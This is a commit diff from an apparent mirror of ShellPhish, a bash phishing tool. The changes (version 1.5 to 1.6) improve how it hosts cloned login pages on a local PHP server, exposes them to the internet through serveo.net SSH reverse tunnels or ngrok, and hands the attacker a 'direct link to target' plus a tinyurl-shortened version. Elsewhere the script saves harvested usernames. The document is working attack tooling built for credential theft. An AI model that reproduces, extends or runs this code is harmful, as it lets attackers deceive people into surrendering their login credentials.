mirror of
https://github.com/richardsonjf/shellphish.git
synced 2025-12-12 18:32:56 -08:00
v1.6
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
#!/bin/bash
|
||||
# ShellPhish v1.5
|
||||
# ShellPhish v1.6
|
||||
# Coded by: thelinuxchoice (You dont become a coder by just changing the credits)
|
||||
# Github: https://github.com/thelinuxchoice/shellphish
|
||||
# This script uses some Phishing Pages generated by SocialFish tool (UndeadSec) (https://github.com/UndeadSec/SocialFish)
|
||||
@@ -11,6 +11,9 @@ trap 'printf "\n";stop;exit 1' 2
|
||||
dependencies() {
|
||||
|
||||
command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }
|
||||
|
||||
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
|
||||
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
|
||||
command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Install it. Aborting."; exit 1; }
|
||||
|
||||
}
|
||||
@@ -127,9 +130,11 @@ killall -2 php > /dev/null 2>&1
|
||||
fi
|
||||
if [[ $checkssh == *'ssh'* ]]; then
|
||||
pkill -f -2 ssh > /dev/null 2>&1
|
||||
killall -2 ssh > /dev/null 2>&1
|
||||
killall ssh > /dev/null 2>&1
|
||||
fi
|
||||
if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -142,7 +147,7 @@ printf "\e[1;77m | | | | | || |(_____ \ | | (_) | | \
|
||||
printf "\e[1;77m \ \ | | _ ____ | || | _____) )| | _ _ ___ | | _ \e[0m\n"
|
||||
printf "\e[1;77m \ \ | || \ / _ )| || || ____/ | || \ | | /___)| || \ \e[0m\n"
|
||||
printf "\e[1;77m _____) )| | | |( (/ / | || || | | | | || ||___ || | | | \e[0m\n"
|
||||
printf "\e[1;77m (______/ |_| |_| \____)|_||_||_| |_| |_||_|(___/ |_| |_| v1.5\e[0m\n"
|
||||
printf "\e[1;77m (______/ |_| |_| \____)|_||_||_| |_| |_||_|(___/ |_| |_| v1.6\e[0m\n"
|
||||
printf "\n"
|
||||
printf "\e[1;93m .:.:.\e[0m\e[1;77m Phishing Tool coded by: @thelinuxchoice \e[0m\e[1;93m.:.:.\e[0m\n"
|
||||
printf "\n"
|
||||
@@ -206,8 +211,10 @@ cat sites/$server/usernames.txt >> sites/$server/saved.usernames.txt
|
||||
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m sites/%s/saved.usernames.txt\e[0m\n" $server
|
||||
killall -2 php > /dev/null 2>&1
|
||||
killall -2 ngrok > /dev/null 2>&1
|
||||
killall -2 ssh > /dev/null 2>&1
|
||||
|
||||
killall ssh > /dev/null 2>&1
|
||||
if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
exit 1
|
||||
|
||||
}
|
||||
@@ -320,11 +327,17 @@ cd sites/$server && php -S 127.0.0.1:$port > /dev/null 2>&1 &
|
||||
sleep 2
|
||||
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Starting server...\e[0m\n"
|
||||
command -v ssh > /dev/null 2>&1 || { echo >&2 "I require SSH but it's not installed. Install it. Aborting."; exit 1; }
|
||||
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net | grep "Forwarding HTTP traffic from" &' 2> /dev/null
|
||||
if [[ -e sendlink ]]; then
|
||||
rm -rf sendlink
|
||||
fi
|
||||
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:'$port' serveo.net 2> /dev/null > sendlink ' &
|
||||
printf "\n"
|
||||
sleep 3
|
||||
sleep 4 # &
|
||||
send_link=$(grep -o "https://[0-9a-z]*\.serveo.net" sendlink)
|
||||
printf "\n"
|
||||
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the first link to target\e[0m\e[1;77m \n'
|
||||
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Send the direct link to target:\e[0m\e[1;77m %s \n' $send_link
|
||||
send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link)
|
||||
printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip
|
||||
printf "\n"
|
||||
checkfound
|
||||
|
||||
@@ -366,14 +379,11 @@ fi
|
||||
if [[ -e ngrok ]]; then
|
||||
echo ""
|
||||
else
|
||||
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
|
||||
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
|
||||
|
||||
printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok...\n"
|
||||
arch=$(uname -a | grep -o 'arm' | head -n1)
|
||||
arch2=$(uname -a | grep -o 'Android' | head -n1)
|
||||
if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then
|
||||
|
||||
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1
|
||||
|
||||
if [[ -e ngrok-stable-linux-arm.zip ]]; then
|
||||
@@ -416,9 +426,9 @@ start1() {
|
||||
printf "\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunelling, Best!)\e[0m\n"
|
||||
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
|
||||
|
||||
default_option_server="1"
|
||||
read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m\en' option_server
|
||||
|
||||
option_server="${option_server:-${default_option_server}}"
|
||||
if [[ $option_server == 1 || $option_server == 01 ]]; then
|
||||
startx
|
||||
|
||||
|
||||
Reference in New Issue
Block a user